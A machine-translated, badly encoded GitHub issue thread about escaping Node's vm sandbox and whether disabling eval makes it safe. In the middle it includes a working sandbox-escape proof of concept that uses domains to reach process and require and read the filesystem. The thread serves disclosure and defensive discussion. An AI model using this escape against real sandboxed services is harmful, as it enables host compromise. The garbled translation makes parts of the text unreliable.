рдореБрдЭреЗ рдкрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рдореГрдд рдореБрджреНрджрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рдЗрд╕ рддрд░рд╣ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╕рдордп рдиреЛрдб рдХреА vm рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЬреНрдЮрд╛рдд рдмрд╛рдИрдкрд╛рд╕ рд╣реИрдВ:

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte : рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рд╕реЗ рдмрд╛рд╣рд░, рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдмрд╛рд╣рд░реА рдХреЛрдб рдХреЗ рд╢реАрд░реНрд╖ рдореЗрдВ global.eval = null; рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ eval рдХреЛ рдЕрдХреНрд╖рдо рдХреНрдпреЛрдВ рди рдХрд░реЗрдВ?

@ рдПрд░рд┐рдХ 24 рдЕрдЪреНрдЫрд╛ рд╕рд╡рд╛рд▓! рдпрд╣ рдкреНрд░рд╕реНрддреБрддрд┐ рдмрддрд╛рддреА рд╣реИ рдХрд┐ рдХреНрдпреЛрдВ рдХреБрдЫ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ: https://vimeo.com/191757364 рдФрд░ рдпрд╣рд╛рдВ рд╕реНрд▓рд╛рдЗрдб рдбреЗрдХ рд╣реИ: https://goo.gl/KxiG73

рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ eval() рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рд╣реИрдВ, рдФрд░ global.eval рдХреЛ рдмрджрд▓рдирд╛ рдЙрдирдореЗрдВ рд╕реЗ рд╕рд┐рд░реНрдл рдПрдХ рд╣реИред рдЬрдм рддрдХ рдЖрдк рдкреВрд░реА рд╕реВрдЪреА рдХреЛ рдкрдврд╝реЗрдВрдЧреЗ, рддрдм рддрдХ рдЖрдкрдХреЛ рдкрддрд╛ рдЪрд▓ рдЬрд╛рдПрдЧрд╛ рдХрд┐ рдЬреЗрдирд░реЗрдЯрд░ рдлрдВрдХреНрд╢рди рджреНрд╡рд╛рд░рд╛ рдордВрдХреА рдкреИрдЪ рдЗрд╡реЗрд▓реНрд╕ рдХрд░рдирд╛ рдЕрд╕рдВрднрд╡ рд╣реИред рдФрд░ рдЗрд╕рдореЗрдВ рдЕрд╕рдВрдЦреНрдп рдЕрдиреНрдп рддрд░реАрдХреЗ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рд╣реИрдВ eval() рднрд╡рд┐рд╖реНрдп рдХреЗ ES рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рддреЛ рдПрдХрдорд╛рддреНрд░ рд╡реНрдпрд╡рд╣рд╛рд░реНрдп рд╕рдорд╛рдзрд╛рди рд╕реА ++ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╡реА 8 рдореЗрдВ evals рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╣реИред

@parasyte : рд╕рд╣реА рд╕рдордЭ рдореЗрдВ рдЖрддрд╛ рд╣реИ (рдФрд░ рдкреНрд░рд╕реНрддреБрддрд┐ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж)ред рддреЛ, рдХреНрдпрд╛ рдЖрдкрдХрд╛ рд╕реА ++ рдХреЛрдб рдХреЗрд╡рд▓ рд╡реАрдПрдо рдпрд╛ "рд╣реЛрд╕реНрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛" рдореЗрдВ рднреА eval рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ?

@ рдПрд░рд┐рдХ 24 рдпрд╣ рдЙрд╕ рд╕рдВрджрд░реНрдн рдореЗрдВ eval рдХреЛ рдЕрдХреНрд╖рдо рдХрд░ рджреЗрдЧрд╛

@parasyte : рд╕рдордЭ рдЧрдпрд╛ред рдзрдиреНрдпрд╡рд╛рдж! рдореЗрд░рд╛ рдХрд╣рдирд╛ рд╣реИ рдХрд┐ рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рд╢реЛрдз рдХрд░рдиреЗ рдХреЗ рдХрдИ рджрд┐рдиреЛрдВ (рдХрдИ рд╣рдлреНрддреЛрдВ рд╕реЗ рдЕрдзрд┐рдХ) рдХреЗ рдмрд╛рдж рдореИрдВрдиреЗ рдкрд╛рдпрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХрд╛ рд╕рдорд╛рдзрд╛рди рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИред

@Anorov рдпрд╣ рдХреБрдЫ рд╣реА рджрд┐рдиреЛрдВ рдкрд╣рд▓реЗ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛: https://github.com/nodejs/node/issues/15673 рдпрд╣ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдкрд░ рдПрдХ рдЕрд╢рдХреНрдд рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдХреЗ рд╕рд╛рде рднреА VM рд╕реЗ рдмрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рд╕рдорд╕реНрдпрд╛ рд╣реИ рдпрджрд┐ рдбреЛрдореЗрди рд╕рдХреНрд╖рдо рд╣реИрдВ (рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдкрдиреЗ рд╕рднреА рдирд┐рд░реНрднрд░рддрд╛ рдкрджрд╛рдиреБрдХреНрд░рдо рдореЗрдВ domain рдЙрдкрдпреЛрдЧ рд╕реЗ рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ)ред

рдЕрд╡рдзрд╛рд░рдгрд╛ рдХрд╛ рдПрдХ рдЖрд╕рд╛рди-рдмрд╛рдВрдХрд╛ рд╕рдмреВрдд рдпрд╣рд╛рдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдиреЛрдб v8.6.0 рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

рдРрд╕реЗ рд▓реАрдХ рд╕реЗ рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВред рднреЗрджреНрдпрддрд╛ рдХреЗ рдЗрд╕ рд╡рд░реНрдЧ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд░рд╣рдиреЗ рдХрд╛ рдПрдХрдорд╛рддреНрд░ рддрд░реАрдХрд╛ eval рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╣реИред рдФрд░ рдердХреЗ рд╣реБрдП рд░рд╣реЗрдВ рдХрд┐ eval рдХреЗ рджрд╛рдпрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ vm рд╕рд╛рде рдЕрдиреНрдп рдореБрджреНрджреЗ рднреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

@parasyte рдзрдиреНрдпрд╡рд╛рджред рдореИрдВ рдЗрд╕ рдХреЛрдб рдХреЛ рдкрд╛рдпрдерди рд╕реЗ рдиреЛрдб рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реВрдВ: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

рдХреЛрдИ рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдп ( domain рдпрд╛ рдЕрдиреНрдпрдерд╛) рдЖрдпрд╛рдд рдпрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдХреНрдпрд╛ рдЖрдкрдХреЛ рдЗрд╕ рдХреЛрдб рдХреЗ рд╕рд╛рде рдХреЛрдИ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╕реНрдпрд╛ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИ? рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ рддреЛ рдореИрдВ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд░реНрднрд░рддрд╛рдУрдВ (рдЬреИрд╕реЗ рд╡реАрдПрдо 2) рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕реЗ рдмрдЪрдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВред

@ рдЕрдиреЛрд░реЛрд╡ рдЖрд╣ рдореИрдВ рджреЗрдЦрддрд╛ рд╣реВрдВред рдХреНрдпрд╛ рдЖрдк рдЪрд┐рдВрддрд┐рдд рд╣реИрдВ рдХрд┐ CloudFlare (рдпрд╛ рдПрдХ MITM) рдХреЛрдб рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛ рдЬреЛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рд╣рд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ? рдпрд╣ рдПрдХ рд▓рдХреНрд╖рд┐рдд рд╣рдорд▓рд╛ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдореИрдВ рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЦрд╛рд░рд┐рдЬ рдирд╣реАрдВ рдХрд░реВрдВрдЧрд╛ред

рд╕рд╣реАред рдХреЛрдИ рдЙрд╕ рдкреЗрдЬ рдХреА рдирдХрд▓ рднреА рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреА рдореБрдЭреЗ рдЙрдореНрдореАрдж рд╣реИ
рдХрд┐ рдореЗрд░реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ Cloudflare рд╣реИ рдЬрдм рдпрд╣ рдирд╣реАрдВ рд╣реИред рдореИрдВ рднреА рд╡рд┐рдЪрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реВрдБ
рдЬрд╛рдБрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдХрд╛ рдЖрдИрдкреА рдкрддрд╛ рдХреНрд▓рд╛рдЙрдбрдлреНрд▓реЗрдпрд░ рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдореЗрдВ рд╣реИ
рдЕрддрд┐рд░рд┐рдХреНрдд рд╕рд╛рд╡рдзрд╛рдиреАред

рд▓реЗрдХрд┐рди рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдпрд╣ рдХреЛрдб рдХрд┐рд╕реА рднреА рдордирдорд╛рдиреА рдкрд░ рдЪрд▓ рд░рд╣рд╛ рдерд╛
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдФрд░ рди рдХреЗрд╡рд▓ Cloudflare рдХрд╛ред рдХреНрдпрд╛ рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рддрдВрддреНрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ
рдиреЛрдб рд╕рдореБрджрд╛рдп рдХрд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдЬреНрдЮрд╛рди?

2 рдЕрдХреНрдЯреВрдмрд░, 2017 рдХреЛ рд░рд╛рдд 10:10 рдмрдЬреЗ, "рдЬреЗ рдУрд╕реНрдЯрд░" рдиреЛрдЯрд┐рдлрд┐рдХреЗрд╢рди @github.com рдиреЗ рд▓рд┐рдЦрд╛:

@Anorov https://github.com/anorov рдЖрд╣ рдореИрдВ рджреЗрдЦ рд░рд╣рд╛ рд╣реВрдБред рдХреНрдпрд╛ рдЖрдк рдЪрд┐рдВрддрд┐рдд рд╣реИрдВ рдХрд┐
CloudFlare (рдпрд╛ рдПрдХ MITM) рдХреЛрдб рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЯреВрдЯ рд╕рдХрддрд╛ рд╣реИ
рд╕реИрдВрдбрдмреЙрдХреНрд╕? рдпрд╣ рдПрдХ рд▓рдХреНрд╖рд┐рдд рд╣рдорд▓рд╛ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдореИрдВ рдЗрд╕ рдкрд░ рд╢рд╛рд╕рди рдирд╣реАрдВ рдХрд░реВрдВрдЧрд╛
рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмрд╛рд╣рд░ред

-
рдЖрдк рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рдЗрд╕ рдИрдореЗрд▓ рдХрд╛ рд╕реАрдзреЗ рдЙрддреНрддрд░ рджреЗрдВ, рдЗрд╕реЗ GitHub рдкрд░ рджреЗрдЦреЗрдВ
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 , рдпрд╛ рдореНрдпреВрдЯ рдХрд░реЗрдВ
рд╕реВрддреНрд░
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

@рдЕрдиреЛрд░реЛрд╡ :

рдХреНрдпрд╛ рдиреЛрдб рд╕рдореБрджрд╛рдп рдХреЗ рд╕рд░реНрд╡реЛрддреНрддрдо рдЬреНрдЮрд╛рди рдХреЗ рд▓рд┐рдП рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рддрдВрддреНрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ?

рдмрд┐рд▓реНрдХреБрд▓ рдирд╣реАрдВред рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬ рдЗрд╕реЗ рдмрд╣реБрдд рдордЬрдмреВрдд рдиреЛрдЯ рдмрдирд╛рддрд╛ рд╣реИ:

рдиреЛрдЯ: рд╡реАрдПрдо рдореЙрдбреНрдпреВрд▓ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рдирд╣реАрдВ рд╣реИред рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдб рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВред

рдореИрдВ рдЙрд╕ рдЪреЗрддрд╛рд╡рдиреА рд╕реЗ рдЕрд╡рдЧрдд рд╣реВрдВ, рд▓реЗрдХрд┐рди рдореИрдВ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкреВрдЫ рд░рд╣рд╛ рд╣реВрдВред

3 рдЕрдХреНрдЯреВрдмрд░ 2017 рдХреЛ рд╢рд╛рдо 4:34 рдмрдЬреЗ, "рдХреЛрдбреА рдорд╛рд╕рд┐рди" рдиреЛрдЯрд┐рдлрд┐рдХреЗрд╢рди @github.com рдиреЗ рд▓рд┐рдЦрд╛:

@рдЕрдиреЛрд░реЛрд╡ https://github.com/anorov :

рдХреНрдпрд╛ рдиреЛрдб рд╕рдореБрджрд╛рдп рдХреЗ рд╕рд░реНрд╡рд╢реНрд░реЗрд╖реНрда рдХреЗ рд▓рд┐рдП рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рддрдВрддреНрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ
рдЬреНрдЮрд╛рди?

рдмрд┐рд▓реНрдХреБрд▓ рдирд╣реАрдВред рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬ
https://nodejs.org/api/vm.html#vm_vm_executing_javascript рдЗрд╕реЗ рдмрдирд╛рддрд╛ рд╣реИ
рдмрд╣реБрдд рдордЬрдмреВрдд рдиреЛрдЯ:

рдиреЛрдЯ: рд╡реАрдПрдо рдореЙрдбреНрдпреВрд▓ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рдирд╣реАрдВ рд╣реИред рдЗрд╕реЗ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВ
рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдбред

-
рдЖрдк рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рдЗрд╕ рдИрдореЗрд▓ рдХрд╛ рд╕реАрдзреЗ рдЙрддреНрддрд░ рджреЗрдВ, рдЗрд╕реЗ GitHub рдкрд░ рджреЗрдЦреЗрдВ
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 , рдпрд╛ рдореНрдпреВрдЯ рдХрд░реЗрдВ
рд╕реВрддреНрд░
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ, рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдб рдХреЗ рд▓рд┐рдП рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рддрдВрддреНрд░ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИред рдЗрд╕рд▓рд┐рдП @patriksimek рдиреЗ vm2 рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд╕рд╛рде рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рддрдВрддреНрд░ рдмрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рд╣реИред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ @parasyte рдиреЗ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдб рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рдореЗрдВ рдПрдХ рдЕрд▓рдЧ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреА рдЦреБрдж рдХреА рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдмрдирд╛рдиреЗ рдХрд╛ рдХрд╛рдо рдХрд┐рдпрд╛ рд╣реИред

@Anorov рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рдХреЗрд╡рд▓ vm рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВред рд▓реЗрдХрд┐рди рдпрд╣ рдкреНрдпрд╛рдЬ рдХреА рдПрдХ рдкрд░рдд рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧреА рдЙрдкрдХрд░рдг рд╣реИред

рдореИрдВ @parasyte рд╕реЗ eval рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП vm рдФрд░ рд╕реБрдЭрд╛рдП рдЧрдП C++ рдХреЛрдб рдХреЗ рд╕рд╛рде рдЦреЗрд▓ рд░рд╣рд╛

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

рдпрд╣ рднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдмрд╣реБрдд рддреЗрдЬ рд╣реИ (рдХреБрдЫ рдкрд░реАрдХреНрд╖рдг рдорд╛рдорд▓реЛрдВ рдореЗрдВ 1000 рдЧреБрдирд╛ рддреЗрдЬ)ред eval рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдореИрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рд▓реИрдВрдб рдХреЛрдб рдХреЛ 'рд╡реИрд╢реНрд╡рд┐рдХ' рдХреЗ рд╕рдВрджрд░реНрдн рд╕реЗ рднреА рд░реЛрдХрддрд╛ рд╣реВрдВ (рдЗрд╕ рдкрд░реАрдХреНрд╖рдг рдХреЗ рдмрд┐рдирд╛, рдлрд╝рдВрдХреНрд╢рди Global.whatever рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реИрд╢реНрд╡рд┐рдХ рджрд╛рдпрд░реЗ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ)ред рдпрд╣ рдПрдХ рдкреНрд░рднрд╛рд╡реА рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИред рдореБрдЭреЗ рдХрд┐рд╕рдХреА рдпрд╛рдж рдЖ рд░рд╣реА рд╣реИ?

рдХреНрдпрд╛ рдЖрдкрдХреА рд░рдгрдиреАрддрд┐ рд▓реЛрдЧреЛрдВ рдХреЛ fs рдЬреИрд╕реЗ рдиреЗрдорд╕реНрдкреЗрд╕ рдЖрдпрд╛рдд рдХрд░рдиреЗ рдФрд░ рдЖрдкрдХреЗ рд╕рд░реНрд╡рд░ рдХреЛ рдЕрддреНрдпрдзрд┐рдХ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддреА рд╣реИ? рдореИрдВ eval рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рднреА рдЙрддреНрд╕реБрдХ рд╣реВрдВ, рдХреНрдпреЛрдВ eval рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЪрд┐рдВрддрд╛ рдФрд░ eval рдХреЗ рдмрд╛рд╣рд░ рдХреЛрдб рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЪрд┐рдВрддрд╛ рдХреНрдпреЛрдВ рдирд╣реАрдВ?

@wysisoft : рдЕрдЪреНрдЫрд╛ рд╕рд╡рд╛рд▓ред рд╣рд╛рдВ, 'рдЖрд╡рд╢реНрдпрдХрддрд╛' рдЙрдЬрд╛рдЧрд░ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдЕрдкрдиреЗ рдореЗрдЯрд╛-рдбреЗрдЯрд╛ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ, "рдЕрдиреБрдордд рдФрд░ рд╕рддреНрдпрд╛рдкрд┐рдд" рдореЙрдбреНрдпреВрд▓ рдХреА рдПрдХ рд╕реВрдЪреА рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рдирдХреА рдЙрд╕реЗ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдЪрд▓рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рдВрдкрд░реНрдХ рдореЗрдВ рдЖрддреЗ рд╣реИрдВред рдЖрдкрдХреА рдмрд╛рдд рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, 'fs' рдЙрд╕ рд╕реНрд╡реАрдХреГрдд рд╕реВрдЪреА рдореЗрдВ рдирд╣реАрдВ рд╣реЛрдЧрд╛ (рд▓реЗрдХрд┐рди рдЙрди рд▓рд┐рдкрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд┐рдиреНрд╣реЗрдВ рдЕрд╕реНрдерд╛рдпреА рднрдВрдбрд╛рд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рд╕реАрдорд┐рдд рдкрдврд╝рдиреЗ/рд▓рд┐рдЦрдиреЗ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдПрдХ рд╕реЗрдЯ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред

рдХрдИ рдХрд╛рд░рдирд╛рдореЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП 'eval' рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ ( 18NOV16 рдкрд░ @parasyte рдХреА рдЯрд┐рдкреНрдкрдгреА рджреЗрдЦреЗрдВ)ред 'eval' рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╕реЗ рд╡реИрд╢реНрд╡рд┐рдХ рджрд╛рдпрд░реЗ рддрдХ рдЗрд╕ рддрд░рд╣ рдкрд╣реБрдВрдЪрдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЕрдиреНрдпрдерд╛ рд░реЛрдХрд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддрд╛ред 1OCT17 рдкрд░ @parasyte рдХреА рдЯрд┐рдкреНрдкрдгреА рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг)ред

@ рдПрд░рд┐рдХ 24 рдореБрдЭреЗ рд╕рдордЭ рдореЗрдВ рдирд╣реАрдВ рдЖрддрд╛ рдХрд┐ vm рдмрд╛рд░реЗ рдореЗрдВ "рдзреАрдорд╛" рдХреНрдпрд╛ рд╣реИред рдпрд╣ рдмрд┐рд▓реНрдХреБрд▓ рд╡рд╣реА v8 рд░рдирдЯрд╛рдЗрдо рд╣реИ рдЬреЛ рдиреЛрдбрдЬреЗрдПрд╕ рдХреЛ рд╢рдХреНрддрд┐ рджреЗрддрд╛ рд╣реИред рдХреНрдпрд╛ рдЖрдк рд╡рд╛рдХрдИ рдХреБрдЫ рдореВрд░реНрдЦрддрд╛рдкреВрд░реНрдг рдирд╣реАрдВ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЬреИрд╕реЗ рд╣рд░ рдмрд╛рд░ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдкрд░ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдирд╛? рд╡рд╣рд╛рдБ рдХреБрдЫ рднреВрдорд┐ рдХреЗ рдКрдкрд░ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХ рднреВрдорд┐ рдХреЗ рдКрдкрд░ рдирд╣реАрдВ 1000xред

